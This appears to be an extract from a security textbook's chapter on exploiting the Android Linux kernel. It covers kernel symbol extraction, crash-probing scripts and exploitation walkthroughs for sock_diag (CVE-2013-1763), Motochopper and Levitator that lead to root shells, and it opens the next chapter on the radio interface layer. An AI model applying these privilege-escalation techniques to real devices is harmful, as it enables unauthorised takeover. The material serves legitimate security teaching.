350 Chapter 10 ■ Hacking and Attacking the Kernel c10.indd 11:11:6:AM 02/25/2014 Page 350 preceded it both provide quite detailed information about exploiting the SLAB and SLUB allocators. Additionally Dan Rosenberg discussed exploitation tech- niques that apply to the SLOB allocator at the Inf ltrate conference in 2012. His paper and slide deck entitled “ A Heap of Trouble: Breaking the Linux Kernel SLOB Allocator” were later published at https://immunityinc.com/infil- trate/archives.html. Address Space Layout Modern systems split the virtual address space between kernel-space and user- space. Exactly where the line is drawn differs from device to device. However a vast majority of Android devices use the traditional 3-gig split where kernel- space occupies the highest gigabyte of address space 0xc0000000 and user- space occupies the lower three gigabytes below 0xc0000000. On most Linux systems including all Android devices the kernel is able to fully access user- space memory directly. The kernel is able to not only read and write kernel space memory but it is also allowed to execute it. Recall from earlier in this chapter that the kernel is a single monolithic image. Because of this fact all global symbols are located at static addresses in memory. Exploit developers can rely on these static addresses to make their tasks easier. Further a majority of the code areas in the ARM Linux kernel were marked readable writable and executable until only recently. Lastly the Linux kernel makes extensive use of function pointers and indirection. Such paradigms provide ample opportunities to turn memory corruption into arbitrary code execution. The combination of these issues makes exploiting the Linux kernel far easier than exploiting user-space code on Android. In short Android’s Linux kernel is a signif cantly more approachable target than most other modern targets. Extracting Addresses As stated before the kernel build tools embed several security-pertinent pieces of information into the binary kernel image. Of particular note is the kernel symbol table. Inside the kernel there are many different global data items and functions each identif ed by a symbolic name. These names and their corre- sponding addresses are exposed to user-space via the kallsyms entry in the proc f le system. Due to the way the binary kernel image is loaded all global symbols have the same static address even across boots. From an attacker point of view this is highly advantageous because it provides a map for a great deal of the kernel’s address space. Knowing exactly where crucial functions or data structures are in memory greatly simplif es exploit development. The CONFIG_KALLSYMS conf guration option controls whether the kernel sym- bol table is present in the binary image. Luckily all Android devices with the exception of some TV devices enable this option. As a matter of fact disabling

slide 383:

Chapter 10 ■ Hacking and Attacking the Kernel 351 c10.indd 11:11:6:AM 02/25/2014 Page 351 this setting makes debugging kernel problems much more diff cult. Prior to Jelly Bean it was possible to obtain the names and addresses of nearly all ker- nel symbols by reading the /proc/kallsyms f le. Jelly Bean and later versions prevent using this method. However all is not lost. On Android the device manufacturer bakes the Linux kernel into each device’s f rmware. Updating the kernel requires an Over-the-Air OTA update or f ash- ing a new factory image. Because there is only one binary kernel image for each release for a device you can approach this situation in one of two ways. First you can obtain the binary image and extract the addresses of most kernel symbols statically. Second you can use suitable information disclosure vulnerabilities like CVE-2013-6282 to read the symbol table directly from kernel memory. Both of these methods circumvent the mitigation that prevents using /proc/kallsyms directly. Further the obtained addresses can be leveraged for both local and remote attacks because they are effectively hardcoded. The kallsymprint tool from the “android-rooting-tools” project facilitates extracting symbols statically. To build this tool you need the source from two different projects on Github. Thankfully the main project includes the other project as a Git submodule. The steps to build and run this tool against a stock Nexus 5 kernel are shown here: dev:/android/n5/hammerhead-krt16m/img/boot git clone \ https://github.com/fi01/kallsymsprint.git Cloning into kallsymsprint... ... dev:/android/n5/hammerhead-krt16m/img/boot cd kallsymprint dev:/android/n5/hammerhead-krt16m/img/boot/kallsymprint git submodule init Submodule libkallsyms https://github.com/android-rooting-tools/libkallsyms.git registered for path libkallsyms dev:/android/n5/hammerhead-krt16m/img/boot/kallsymprint git submodule \ update Cloning into libkallsyms... ... Submodule path libkallsyms: checked out ffe994e0b161f42a46d9cb3703dac844f5425ba4 The checked out repository contains a binary image but it’s generally not advised to run an untrusted binary. After understanding the source build it yourself using the following commands. dev:/android/n5/hammerhead-krt16m/img/boot/kallsymprint rm kallsymprint dev:/android/n5/hammerhead-krt16m/img/boot/kallsymprint gcc -m32 -I. \ -o kallsymsprint main.c libkallsyms/kallsyms_in_memory.c ... With the binary recompiled from source extract the symbols from your decompressed Nexus 5 kernel as follows: dev:/android/n5/hammerhead-krt16m/img/boot/kallsymprint cd .. dev:/android/n5/hammerhead-krt16m/img/boot ./kallsymsprint/kallsymsprint \

slide 384:

352 Chapter 10 ■ Hacking and Attacking the Kernel c10.indd 11:11:6:AM 02/25/2014 Page 352 piggy 2 /dev/null | grep -E prepare_kernel_cred|commit_creds c01bac14 commit_creds c01bb404 prepare_kernel_cred These two symbols are used in the kernel privilege escalation payload used in many kernel exploits including some of the case studies in the next section. Case Studies Taking a closer look at the exploit development process is probably the best way to drive home some of the concepts used to exploit kernel vulnerabilities. This section presents case studies that detail how three particular issues were exploited on vulnerable Android devices. First it brief y covers a couple of interesting Linux kernel issues that affect a range of devices including non- Android devices. Then it takes a deep dive into porting an exploit for a memory corruption issue that affected several Android devices but was only developed to work in specif c circumstances. sock_diag The sock_diag vulnerability serves as an excellent introduction to exploiting the Linux kernels used on Android devices. This bug was introduced during the development of version 3.3 of the Linux kernel. No known Android devices use a 3.3 kernel but several use version 3.4. This includes Android 4.3 and earlier on the Nexus 4 as well as several other retail devices such as the HTC One. Using this vulnerability affected devices can be rooted without needing to wipe user data. Further attackers could leverage this issue to escalate privileges and take full control of an exploited browser process. The bug was assigned CVE-2013- 1763 which reads as follows. Array index error in the __sock_diag_rcv_msg function in net/core/sock_ diag.c in the Linux kernel before 3.7.10 allows local users to gain privileges via a large family value in a Netlink message. As the Common Vulnerabilities and Exposures CVE description suggests this function is called when processing Netlink messages. More specif cally there are two criteria for reaching this function. First the message must be sent over a Netlink socket using the NETLINK_SOCK_DIAG protocol. Second the message must specify an nlmsg_type of SOCK_DIAG_BY_FAMILY. There are several public exploits for the x86 and x86_64 architectures that show how this is done in detail.

slide 385:

Chapter 10 ■ Hacking and Attacking the Kernel 353 c10.indd 11:11:6:AM 02/25/2014 Page 353 The CVE description also states that the issue is present in the __sock_diag_ rcv_msg function in the net/core/sock_diag.c f le in the Linux kernel. This is not strictly true as you will see. The aforementioned function is presented here: 120 static int __sock_diag_rcv_msgstruct sk_buff skb struct nlmsghdr nlh 121 122 int err 123 struct sock_diag_req req NLMSG_DATAnlh 124 struct sock_diag_handler hndl 125 126 if nlmsg_lennlh sizeofreq 127 return -EINVAL 128 129 hndl sock_diag_lock_handlerreq-sdiag_family When this function is called the nlh parameter contains data supplied by the unprivileged user that sent the message. The data within the message cor- responds to the payload of the Netlink message. On line 129 the sdiag_family member of the sock_diag_req structure is passed to the sock_diag_lock_han- dler function. The source for that function follows: 105 static inline struct sock_diag_handler sock_diag_lock_handlerint family 106 107 if sock_diag_handlersfamily NULL 108 request_module"net-pf-d-proto-d-type-d" PF_NETLINK 109 NETLINK_SOCK_DIAG family 110 111 mutex_locksock_diag_table_mutex 112 return sock_diag_handlersfamily 113 In this function the value of the family parameter is controlled by the user sending the message. On line 107 it is used as an array index to check to see if an element of the sock_diag_handlers array is NULL. There’s no check that the index is within the bounds of the array. On line 112 the item within the array is returned to the calling function. It’s not obvious why this matters yet. Let’s go back to the call site and track the return value further through the code. continued from __sock_diag_rcv_msg in net/core/sock_diag.c 129 hndl sock_diag_lock_handlerreq-sdiag_family 130 if hndl NULL 131 err -ENOENT 132 else 133 err hndl-dumpskb nlh

slide 386:

354 Chapter 10 ■ Hacking and Attacking the Kernel c10.indd 11:11:6:AM 02/25/2014 Page 354 Line 129 is the call site. The return value is stored into the hndl variable. After passing another NULL check on line 130 the kernel uses this variable to retrieve a function pointer and call it. A reader experienced with vulnerability research can already see the promise this vulnerability holds. So you can get the kernel to fetch this variable from outside of the array bounds. Unfortunately you don’t control the value of hndl outright. To control the contents of hndl you have to get it to point to something you do control. Without knowing what kinds of things lie beyond the bounds of the array it’s not clear what value might work for the family variable. To f nd this out put together a proof-of-concept program that takes a value to be used as the family variable on the command line. The plan is to try a range of values for the index. The device will reboot if a crash occurs. Thanks to /proc/last_kmsg you can see the crash context as well as values from kernel space memory. The following excerpt shows the shell script and command line that is used to automate this process. dev:/android/sock_diag cat getem.sh /bin/bash CMD"adb wait-for-device shell /data/local/tmp/sock_diag" /usr/bin/time -o timing -f e CMD 1 TIME`cat timing | cut -d. -f1` let TIME TIME + 0 if TIME -gt 1 then adb wait-for-device pull /proc/last_kmsg kmsg.1 fi dev:/android/sock_diag for ii in `seq 1 128` do ./getem.sh ii done ... The shell script detects whether the device crashed based on how long it took for the adb shell command to execute. When a crash occurs the ADB session hangs momentarily while the device reboots. If there was no crash ADB returns quickly. When a crash is detected the script pulls the /proc/last_kmsg down and names it based on the index tried. After the command completes take a look at the results. dev:/android/sock_diag grep Unable to handle kernel paging request kmsg. \ | cut -f 20- ... kmsg.48: Unable to handle kernel paging request at virtual address 00001004 ... kmsg.51: Unable to handle kernel paging request at virtual address 00007604 ... kmsg.111: Unable to handle kernel paging request at virtual address 31000034 kmsg.112: Unable to handle kernel paging request at virtual address 00320004 kmsg.113: Unable to handle kernel paging request at virtual address 00003304

slide 387:

Chapter 10 ■ Hacking and Attacking the Kernel 355 c10.indd 11:11:6:AM 02/25/2014 Page 355 kmsg.114: Unable to handle kernel paging request at virtual address 35000038 kmsg.115: Unable to handle kernel paging request at virtual address 00360004 kmsg.116: Unable to handle kernel paging request at virtual address 00003704 ... You can see several values that crash when trying to read from a user-space address. Sadly you can’t use the f rst couple of values due to the mmap_min_addr kernel exploitation mitigation. However some of the next few look usable. You can map such an address in your program and control the contents of hndl. But which should you use Are these addresses stable The “Understanding an Oops” section earlier in this chapter examined the Oops message from last_kmsg.115 and stated that using the decodecode script is particularly useful. The output shown here demonstrates how that script can help you get more detailed information about the crash context. dev:/android/src/kernel/msm export CROSS_COMPILEarm-eabi- dev:/android/src/kernel/msm ./scripts/decodecode oops.txt 174.378177 Code: e5963008 e3530000 03e04001 0a000004 e5933004 All code 0: e5963008 ldr r3 r6 8 4: e3530000 cmp r3 0 8: 03e04001 mvneq r4 1 c: 0a000004 beq 0x24 10: e5933004 ldr r3 r3 4 -- trapping instruction Code starting with the faulting instruction 0: e5933004 ldr r3 r3 4 The script draws an arrow indicating where the crash happened and shows instructions that led up to the crash. By following code and data f ow backward you can see that r3 was loaded from r3 plus four. Unfortunately you lose the intermediate value of r3 in this situation. However a bit further back you see that r3 was originally loaded from where the r6 register points. Looking at /proc/kallsysms on the vulnerable device you see the following in the range of the r6 value. c108b988 b sock_diag_handlers ... c108bb44 b nf_log_sysctl_fnames c108bb6c b nf_log_sysctl_table Here r6 points into the nf_log_sysctl_fnames data area. By searching for this symbol in the kernel source you will f nd 274 for i NFPROTO_UNSPEC i NFPROTO_NUMPROTO i++ 275 snprintfnf_log_sysctl_fnamesi-NFPROTO_UNSPEC 3 "d" i

slide 388:

356 Chapter 10 ■ Hacking and Attacking the Kernel c10.indd 11:11:6:AM 02/25/2014 Page 356 The array is initialized using integer values converted to ASCII strings. Each string is three bytes long. Referring to the Oops message including the memory dump around r6 you can conf rm that this is indeed the same data. ... r3 : 00360000 r2 : ecf7dcc8 r1 : ea9d6600 r0 : c0de8c1c ... R6: 0xc108bacc: bacc c0dcf2d4 c0dcf2d4 c0d9aef8 c0d9aef8 c108badc c108badc c108bae4 c108bae4 baec c108baec c108baec c108baf4 c108baf4 c108bafc c108bafc c108bb04 c108bb04 bb0c c108bb0c c108bb0c c108bb14 c108bb14 c108bb1c c108bb1c c108bb24 c108bb24 bb2c c108bb2c c108bb2c c108bb34 c108bb34 00000000 e2fb7500 31000030 00320000 bb4c 00003300 35000034 00360000 00003700 39000038 30310000 00313100 00003231 bb6c c108bb44 00000000 00000040 000001a4 00000000 c0682be8 00000000 00000000 bb8c 00000000 c108bb47 00000000 00000040 000001a4 00000000 c0682be8 00000000 bbac 00000001 00000000 c108bb4a 00000000 00000040 000001a4 00000000 c0682be8 ... The ASCII strings start at 0xc108bb44. There appears to be a pattern. Each string is three bytes the values match the ASCII character values for digits and they are increasing in value. Because this string is statically initialized at boot it is an extremely stable source for user-space addresses to us for your exploit Finally to successfully exploit the issue map some memory at the address the kernel uses for the corresponding index. For example if you go with index 115 map some RWX memory at address 0x360000. Then set up the contents of that memory with a pointer to your payload at offset 0x04. This becomes the dump function pointer. When it gets called your kernel-space payload should give you root privileges and return. If everything went according to plan you will have successfully exploited this vulnerability and obtained root access. Motochopper Prolif c Android exploit developer Dan Rosenberg developed and released an exploit called Motochopper in April 2013. Although it was purported to pro- vide root access on several Motorola devices it also affected a range of other devices including the Samsung Galaxy S3. The initial exploit was fairly well obfuscated in an attempt to hide what it was doing. It implemented a custom virtual machine opened tons of unnecessary decoy f les and used a neat trick to mask which system calls it executed. The underlying issue was later assigned CVE-2013-2596 which reads as follows: Integer overflow in the fb_mmap function in drivers/video/fbmem.c in the Linux kernel before 3.8.9 as used in a certain Motorola build of Android 4.1.2 and other products allows local users to create a read-write memory mapping for the entirety of kernel memory and consequently gain privi- leges via crafted /dev/graphics/fb0 mmap2 system calls as demonstrated by the Motochopper pwn program.

slide 389:

Chapter 10 ■ Hacking and Attacking the Kernel 357 c10.indd 11:11:6:AM 02/25/2014 Page 357 To take a closer look consult the code for the fb_mmap function in the drivers/ video/fbmem.c f le from a vulnerable Linux kernel. More specif cally examine the kernel source for the Sprint Samsung Galaxy S3 running the L710VPBMD4 f rmware: 1343 static int 1344 fb_mmapstruct file file struct vm_area_struct vma 1345 .... 1356 off vma-vm_pgoff PAGE_SHIFT .... 1369 start info-fix.smem_start 1370 len PAGE_ALIGNstart PAGE_MASK + info-fix.smem_len .... 1383 if vma-vm_end - vma-vm_start + off len 1384 return -EINVAL .... 1391 if io_remap_pfn_rangevma vma-vm_start off PAGE_SHIFT 1392 vma-vm_end - vma-vm_start vma-vm_page_prot The vma parameter is created from the parameters passed to the mmap system call before calling fb_mmap in mmap_region. As such you pretty much fully control its members. The off variable is directly based off of the offset value you supplied to mmap. However start assigned on line 1369 is a property of the frame buffer itself. On line 1370 len is initialized to the sum of a page-aligned value of start and the length of the frame buffer region. On line 1383 you’ll f nd the root cause of this vulnerability. The vm_end and vm_start values that you control are subtracted to calculate the length of the requested mapping. Then off is added and the result is checked to see if it is larger than len. If a large value is specif ed for off the addition will overf ow and the comparison will pass. Finally a huge area of kernel memory will be remapped into the user’s virtual memory. The methodology Dan used to exploit this vulnerability is broken into two parts. First he detects the value of len by trying to allocate incrementally larger memory areas. He uses a zero offset during this phase and grows the size one page at a time. As soon as the map size exceeds the len value the fb_mmap func- tion returns an error on line 1384. Dan detects this and notes the value for the next phase. In the second phase Dan attempts to allocate the largest memory area possible while triggering the integer overf ow. He starts with a conservative maximum and works backward. Before each attempt he uses the previously detected value to calculate a value for off that will cause the integer overf ow to occur. When the mmap call succeeds the process will have full read-write access to a large area of kernel memory. There are many ways to leverage read-write access to kernel memory. One technique is overwriting kernel code directly. For example you could change the setuid system call handler function to always approve setting the user ID to root. Another method is to modify various bits of kernel memory to execute

slide 390:

358 Chapter 10 ■ Hacking and Attacking the Kernel c10.indd 11:11:6:AM 02/25/2014 Page 358 arbitrary code in kernel-space directly. This is the approach you took when exploiting the sock_diag bug in the preceding section. Yet another method which is the one Dan chose in Motochopper is to seek out and modify the cur- rent user’s credentials structure directly. In doing so the user and group ID for the current process are set to zero giving the user root access. Being able to read and write kernel memory is very powerful. Other possibilities are left to your imagination. Levitator In November 2011 Jon Oberheide and Jon Larimer released an exploit called levitator.c. It was rather advanced for its time as it used two interrelated kernel vulnerabilities: an information disclosure and a memory corruption. Levitator targeted Android devices that used the PowerVR SGX 3D graphics chipset used by devices like the Nexus S and Motorola Droid. In this section you’ll walk through the process of getting Levitator working on the Motorola Droid. Doing so serves to explain additional techniques used when analyzing and exploiting Linux kernel vulnerabilities on Android devices. How the Exploit Works Because the source code for the exploit was released you can grab a copy and start reading it. A large comment block at the top of the f le includes the authors’ names two CVE numbers and descriptions build instructions sample output tested devices and patch information. Following the usual includes some constants and a data structure specif c to communicating with PowerVR are def ned. Next you see the fake_disk_ro_show function which implements a typical kernel-space payload. After that two data structures and the global variable fake_dev_attr_ro are def ned. NOTE It’s important to read and understand source code prior to compiling and executing it. Failure to do so could compromise or cause irreparable harm to your system. The rest of the exploit consists of three functions: get_symbol do_ioctl and main. The get_symbol function looks for the specif ed name in /proc/kallsyms and returns the corresponding address or zero. The do_ioctl function is the heart of the exploit. It sets up the parameters and executes the vulnerable I/O control operation ioctl. The main function is the brain of the exploit it implements the exploitation logic. It starts by looking up three symbols: commit_creds prepare_kernel_cred and dev_attr_ro. The f rst two are used by the kernel-space payload function. The

slide 391:

Chapter 10 ■ Hacking and Attacking the Kernel 359 c10.indd 11:11:6:AM 02/25/2014 Page 359 latter is discussed shortly. Next the exploit opens the device that belongs to the vulnerable driver and executes the do_ioctl function for the f rst time. It passes the out and out_size parameters to leak kernel memory contents into the dump buffer. It then goes through the buffer looking for pointers to the dev_attr_ro object. For each occurrence the exploit modif es it to point to fake_dev_attr_ro which in turn contains a pointer to the kernel-space payload function. It calls do_ioctl again this time specifying the in and in_size parameters to write the modif ed dump buffer back to kernel memory. Now it scans for entries in the /sys/block directory trying to open and read from the ro entry within each. If the ro entry matches a modif ed object the kernel executes fake_disk_ro_show and the data read is “0wned.” In this case the exploit detects success and stops processing more /sys/block entries. Finally the exploit restores any previously modif ed pointers and spawns a root shell for the user. Running the Existing Exploit Having read through the exploit you know that it is safe to compile and execute it on the target device. Follow the provided instructions and see the following: ./levitator + looking for symbols... + resolved symbol commit_creds to 0xc0078ef0 + resolved symbol prepare_kernel_cred to 0xc0078d64 - dev_attr_ro symbol not found aborting Oh no The exploit fails because it was unable to locate the dev_attr_ro symbol. This particular failure does not mean the device isn’t vulnerable so open the exploit and comment out the last call to get_symbol lines 181 through 187. Instead assign dev_attr_ro with a value you think would be unlikely to be found in kernel memory such as 0xdeadbeef. After making these changes compile upload and run the modif ed code. The output follows. ./nodevattr + looking for symbols... + resolved symbol commit_creds to 0xc0078ef0 + resolved symbol prepare_kernel_cred to 0xc0078d64 + opening prvsrvkm device... + dumping kernel memory... + searching kmem for dev_attr_ro pointers... + poisoned 0 dev_attr_ro pointers with fake_dev_attr_ro - could not find any dev_attr_ro ptrs aborting Knowing how the exploit works you can tell that the ioctl operation was successful. That indicates that the information leak is functioning as expected and the device is certainly vulnerable.

slide 392:

360 Chapter 10 ■ Hacking and Attacking the Kernel c10.indd 11:11:6:AM 02/25/2014 Page 360 Unfortunately there’s no simple f x for this failure. The exploit relies heavily on being able to f nd the address of the dev_attr_ro kernel symbol which is simply not possible using /proc/kallsyms on this device. Getting the exploit working will require some time creativity and a deeper understanding of the underlying issues. Getting Source Code Unfortunately the exploit and these two CVEs are the bulk of the publicly avail- able information on these two issues. To gain a deeper understanding you’ll want the source code for the target device’s kernel. Interrogate the device to see the relevant versioning information which appears below: getprop ro.build.fingerprint verizon/voles/sholes/sholes:2.2.3/FRK76/185902:user/release-keys cat /proc/version Linux version 2.6.32.9-g68eeef5 android-buildapa26.mtv.corp.google.com gcc version 4.4.0 GCC 1 PREEMPT Tue Aug 10 16:07:07 PDT 2010 The build f ngerprint for this device indicates it is running the newest f rmware available—release FRK76. Luckily the kernel for this particular device appears to be built by Google itself and includes a commit hash in its version number string. The particular commit hash is 68eeef5. Unfortunately the OMAP kernel hosted by Google no longer includes the branch that included this commit. In an attempt to expand the search query your favorite search engine for the commit hash. There are quite a few results including some that show the full hash for this commit. After poking around you’ll f nd the code on Gitorious at https://gitorious.org/android_kernel_omap/android_kernel_omap/. After successfully cloning this repository and checking out the relevant hash you can analyze the underlying vulnerabilities in the code further. Determining Root Cause After obtaining the correct source code execute a handful of git grep commands to f nd the vulnerable code. Searching for the device name /dev/pvrsrvkm leads you to a f le operations structure which leads you to the unlocked_ioctl handler function called PVRSRV_BridgeDispatchKM. After reading through you can see that the vulnerable code is not directly in this function but instead the BridgedDispatchKM function called from it. Falling back to the git grep strategy you will f nd BridgedDispatchKM on line 3282 of drivers/gpu/pvr/bridged_pvr_bridge.c. The function itself is fairly short. The f rst block in the function isn’t very interesting but the next block looks suspicious. The relevant code follows:

slide 393:

Chapter 10 ■ Hacking and Attacking the Kernel 361 c10.indd 11:11:6:AM 02/25/2014 Page 361 3282 IMG_INT BridgedDispatchKMPVRSRV_PER_PROCESS_DATA psPerProc 3283 PVRSRV_BRIDGE_PACKAGE psBridgePackageKM 3284 .... 3351 psBridgeIn ENV_DATA psSysData-pvEnvSpecificData-pvBridgeData 3352 psBridgeOut IMG_PVOIDIMG_PBYTEpsBridgeIn + PVRSRV_MAX_BRIDGE_IN_SIZE 3353 3354 ifpsBridgePackageKM-ui32InBufferSize 0 3355 .... 3363 ifCopyFromUserWrapperpsPerProc 3364 ui32BridgeID 3365 psBridgeIn 3366 psBridgePackageKM-pvParamIn 3367 psBridgePackageKM-ui32InBufferSize .... The psBridgePackageKM parameter corresponds to the structure that was copied from user-space. On lines 3351 and 3352 the author points psBridgeIn and psBrid- geOut to the pvBridgeData member of pSysData-pvEnvSpecificationData. If the ui32InBufferSize is greater than zero the CopyFromUserWrapper function is called. This function is a simple wrapper around the Linux kernel’s standard copy_from_user function. The f rst two parameters are actually discarded and the call becomes ifcopy_from_userpsBridgeIn psBridgePackageKM-pvParamIn psBridgePackageKM-ui32InBufferSize At this point ui32InBufferSize is still fully controlled by you. It is not validated against the size of the memory pointed to by psBridgeIn. By specifying a size larger than that buffer you are able to write beyond its bounds and corrupt the kernel memory that follows. This is the issue that was assigned CVE-2011-1352. Next the driver uses the specif ed bridge ID to read a function pointer from a dispatch table and executes it. The exploit uses bridge ID CONNECT_SERVICES which corresponds to PVRSRV_BRIDGE_CONNECT_SERVICES in the driver. The func- tion for this bridge ID is registered in the CommonBridgeInit function to call the PVRSRVConnectBW function. However that function doesn’t do anything relevant. As such you return to the BridgedDispatchKM function and see what follows. 3399 ifCopyToUserWrapperpsPerProc 3400 ui32BridgeID 3401 psBridgePackageKM-pvParamOut 3402 psBridgeOut 3403 psBridgePackageKM-ui32OutBufferSize Again you see a call to another wrapper function this time CopyToUserWrapper. Like the other wrapper the f rst two parameters are discarded and the call becomes

slide 394:

362 Chapter 10 ■ Hacking and Attacking the Kernel c10.indd 11:11:6:AM 02/25/2014 Page 362 ifcopy_to_userpsBridgePackageKM-pvParamOut psBridgeOut psBridgePackageKM-ui32OutBufferSize This time the driver copies data from psBridgeOut to the user-space memory you passed in. Again it trusts your size passed in ui32OutBufferSize as the number of bytes to copy. Because you can specify a size larger than the memory pointed to by psBridgeOut you can read data from after this buffer. This is the issue that was assigned CVE-2011-1350. Based on a deeper understanding of the issues it’s more obvious what is happening in the exploit. There is one detail that is still missing though. Where exactly do pvBridgeIn and pvBridgeOut point To f nd out search for the base pointer pvBridgeData. Unfortunately the venerable git grep strategy doesn’t reveal a direct assignment. However you can see pvBridgeData getting passed by reference in drivers/gpu/pvr/osfunc.c. Take a closer look and see the following. 426 PVRSRV_ERROR OSInitEnvDataIMG_PVOID ppvEnvSpecificData 427 ... 437 ifOSAllocMemPVRSRV_OS_PAGEABLE_HEAP PVRSRV_MAX_BRIDGE_IN_SIZE + PVRSRV_MAX_BRIDGE_OUT_SIZE 438 psEnvData-pvBridgeData IMG_NULL 439 "Bridge Data" PVRSRV_OK Looking into OSAllocMem you’ll f nd that it will allocate memory using kmal- loc if its fourth parameter is zero or the requested size is less than or equal to one page 0x1000 bytes. Otherwise it will allocate memory using the kernel vmalloc API. In this call the requested size is the sum of the IN_SIZE and OUT_SIZE def nitions which are both 0x1000. This explains the adding and subtracting of 0x1000 in the exploit. Added together the requested size becomes two pages 0x2000 which would normally use vmalloc. However the OSInitEnvData function passes 0 as the fourth parameter when calling OSAllocMem. Thus two pages of memory are allocated using kmalloc. The OSInitEnvData function is called very early in driver initialization which happens during boot. This is unfortunate because it means the buffer’s location remains constant for any given boot. Exactly what other objects are adjacent to this kernel heap block varies based on boot timing drivers loaded on a device and potentially other factors. This is an important detail as described in the next section. Fixing the Exploit With a clear understanding of all the facets of these two vulnerabilities you can turn your efforts back toward getting the exploit working on the target device. Recall from your attempt to run the original exploit that the dev_attr_ro symbol does not appear in /proc/kallsyms on the target device. Either this

slide 395:

Chapter 10 ■ Hacking and Attacking the Kernel 363 c10.indd 11:11:6:AM 02/25/2014 Page 363 type of object doesn’t exist or it is not an exported symbol. As such you need to f nd an alternative type of object that can satisfy two conditions. First it must be something that you can modify to hijack the kernel’s control f ow. It helps if you control exactly when the hijack takes place like the original exploit does but it’s not a strict necessity. Second it must be adjacent to the pvBridgeData buffer as often as possible. To tackle this problem aim to solve the second condition and then the f rst. Finding out exactly what is next to your buffer is fairly easy. To do so make further changes to your already-modif ed copy of the exploit. In addition to commenting out the dev_attr_ro symbol resolution write the data you leaked from kernel-space to a f le. When that is working repeatedly reboot the device and dump the adjacent memory. Repeat this process 100 times in order to get a decent sampling across many boots. With the data f les in hand pull the contents of /proc/kallsyms from the device. Then employ a small Ruby script which is included with this book’s materials to bucket symbol names by their address. Next process all 100 samples of kernel memory. For each sample split the data into 32-bit quantities and check to see if each value exists inside the buckets generated from /proc/kallsyms. If so increase a counter for that symbol. The output from this process is a list of object types that are found in /proc/ kallsyms along with the frequency out of 100 tries that they are adjacent to your buffer. The top ten entries are displayed here: dev:/levitator-droid1 head dumps-on-fresh-boot.freq 90 0xc003099c t kernel_thread_exit 86 0xc0069214 T do_no_restart_syscall 78 0xc03cab18 t fair_sched_class 68 0xc01bc42c t klist_children_get 68 0xc01bc368 t klist_children_put 65 0xc03cdee0 t proc_dir_inode_operations 65 0xc03cde78 t proc_dir_operations 62 0xc00734a4 T autoremove_wake_function 60 0xc006f968 t worker_thread 58 0xc03ce008 t proc_file_inode_operations The f rst couple of entries look very attractive because they are adjacent about 90 percent of the time. However a modest attempt at leveraging these objects was not fruitful. Out of the remaining entries the items starting with proc_ look particularly interesting. These types of objects control how entries in the proc f le system process various operations. This is attractive because you know that you can trigger such operations at will by interacting with entries under / proc. This solves your f rst condition in the ideal way and solves your second condition on about 65 percent of boots. Now that you have identif ed proc_dir_inode_operations objects as the thing to look for you’re ready to start implementing the new approach. The fact

slide 396:

364 Chapter 10 ■ Hacking and Attacking the Kernel c10.indd 11:11:6:AM 02/25/2014 Page 364 that you f nd pointers to these objects adjacent to your buffer indicates they are embedded in some other type of object. Looking back at the kernel source f nd any assignments where the referenced object is on the right hand side. This leads you to the code from around line 572 of fs/proc/generic.c: 559 static int proc_registerstruct proc_dir_entry dir struct proc_dir_entry dp 560 ... 569 if S_ISDIRdp-mode 570 if dp-proc_iops NULL 571 dp-proc_fops proc_dir_operations 572 dp-proc_iops proc_dir_inode_operations The proc_register function is used within the kernel to create entries in the proc f le system. When it creates directory entries it assigns a pointer to the proc_dir_inode_operations to the proc_iops member. Based on the type of the dp variable in this excerpt you know the adjacent objects are proc_dir_entry structures Now that you know the outer data type’s structure you can modify its ele- ments accordingly. Copy the requisite data structures into your new exploit f le and change undef ned pointer types to void pointers. Modify the exploit to look for the proc_dir_inode_operations symbol instead of dev_attr_ro. Then implement new trigger code that recursively scans through all directories in /proc. Finally create a specially crafted inode_operations table with the getattr member pointing at your kernel-space payload function. When something on the system attempts to get the attributes of your modif ed proc_dir_entry the kernel calls your getattr function thereby giving you root privileges. As before clean up and spawn a root shell for the user. Victory Summary This chapter covered several topics relevant to hacking and attacking the Linux kernel used by all Android devices. It explained how Android kernel exploi- tation is relatively easy because of its monolithic design distribution model conf guration and the vast exposed attack surface. Additionally this chapter provided tips and tools to make the job of an Android kernel exploit developer easier. You walked through the process of building custom kernels and kernel modules saw how to access the myriad debugging facilities provided by the kernel and how to extract information from both devices and stock f rmware images.

slide 397:

Chapter 10 ■ Hacking and Attacking the Kernel 365 c10.indd 11:11:6:AM 02/25/2014 Page 365 A few case studies examined the exploit development for kernel memory cor- ruption issues such as array indexing vulnerabilities direct memory mapping issues information leaks and heap memory corruption. The next chapter discusses the telephony subsystem within Android. More specif cally it explains how to research monitor and fuzz the Radio Interface Layer RIL component.

slide 399:

367 c11.indd 02:37:57:PM 02/24/2014 Page 367 The Radio Interface Layer RIL in short is the central component of the Android platform that handles cellular communication. The Radio Interface Layer pro- vides an interface to the cellular modem and works with the mobile network to provide mobile services. The RIL is designed to operate independent of the cellular modem chips. Ultimately the RIL is responsible for things such as voice calls text messaging and mobile Internet. Without the RIL an Android device cannot communicate with a cellular network. The RIL is in part what makes an Android device a smartphone. Today cellular communication is no longer limited to mobile phones and smartphones because tablets and eBook readers come with built-in always-on mobile Internet. Mobile Internet is the responsibility of the RIL and therefore the RIL is present on most Android devices. This chapter shows you how the RIL works and how it can be analyzed and attacked. It methodically introduces you to the different components of RIL and how they work together. The attack part of this chapter focuses on the Short Messaging Service SMS and specif cally how to fuzz SMS on an Android device. The f rst half of the chapter provides an overview of the Android RIL and introduces the SMS message format. The second half of the chapter takes a deep dive into instrumenting the RIL to fuzz the SMS implementation of Android. When you reach the end of this chapter you will be armed with the knowledge to carry out your own security experiments on the Android RIL. CHAPTER 11 Attacking the Radio Interface Layer

slide 400:

368 Chapter 11 ■ Attacking the Radio Interface Layer c11.indd 02:37:57:PM 02/24/2014 Page 368 Introduction to the RIL The Android RIL is built to abstract the actual radio interface from the Android telephony service subsystem. RIL is designed to handle all radio types such as the Global System for Mobile communication GSM Code Division Multiple Access CDMA 3G and 4G Long Term Evolution LTE. The RIL handles all aspects of cellular communication such as network registration voice calls short messages SMS and packet data IP communication. Because of this the RIL plays an important role on an Android device. The Android RIL is one of the few pieces of software that is directly reach- able from the outside world. Its attack surface is comparable to that of a service hosted on a server. All data sent from the cellular network to an Android device passes through the RIL. This is best illustrated by examining how an incoming SMS message is processed. Whenever an SMS message is sent to an Android device that message is received by the phone’s cellular modem. The cellular modem decodes the physi- cal transmission from the cell tower. After the message is decoded it is sent on a journey starting at the Linux kernel it passes through the various components of the Android RIL until it reaches the SMS application. The process of SMS delivery inside the RIL is discussed in great detail throughout this chapter. The important message at this point is that the RIL provides a remotely attackable piece of software on an Android device. A successful attack against RIL provides a wide range of possibilities to 